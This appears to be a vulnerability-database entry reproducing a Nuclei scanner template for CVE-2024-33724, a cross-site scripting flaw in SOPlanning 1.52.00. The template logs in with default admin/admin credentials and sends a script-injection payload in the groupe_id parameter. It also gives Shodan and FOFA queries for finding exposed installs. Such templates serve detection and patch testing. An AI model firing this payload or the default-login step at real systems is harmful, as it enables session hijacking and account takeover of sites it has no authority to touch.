SOPlanning v1.52.00 is vulnerable to XSS via the 'groupe_id' parameters a remote unautheticated attacker can hijack the admin account or other users. The remote attacker can hijack a users session or credentials and perform a takeover of the entire platform.
PoC代码[已公开]
id: CVE-2024-33724
info:
name: SOPlanning 1.52.00 Cross Site Scripting
author: s4e-io
severity: medium
description: |
SOPlanning v1.52.00 is vulnerable to XSS via the 'groupe_id' parameters a remote unautheticated attacker can hijack the admin account or other users. The remote attacker can hijack a users session or credentials and perform a takeover of the entire platform.
reference:
- https://packetstormsecurity.com/files/178434/SOPlanning-1.52.00-Cross-Site-Scripting.html
- https://github.com/fuzzlove/soplanning-1.52-exploits
metadata:
verified: true
max-request: 2
vendor: soplanning
product: soplanning
shodan-query:
- html:"soplanning"
- http.html:"soplanning"
fofa-query: body="soplanning"
tags: packetstorm,cve,cve2024,authenticated,soplanning,xss
http:
- raw:
- |
POST /process/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
login={{username}}&password={{password}}
- |
GET /process/groupe_save.php?saved=1&groupe_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C!--&nom=Project+New HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
attack: pitchfork
payloads:
username:
- admin
password:
- admin
host-redirects: true
matchers:
- type: dsl
dsl:
- "status_code_2 == 200"
- 'contains_all(body_2, "<script>alert(document.domain)</script>", "SOPlanning")'
condition: and
# digest: 4a0a004730450220547a35376f376c8126f2479fe2cea4caae5c0c5d54738231320325fd97e9f6b6022100de1ee57dd0587acfb571dce4ed47423a7b544005236a57d8c7e8a480b6557d24:922c64590222798bb761d5b6d8e72950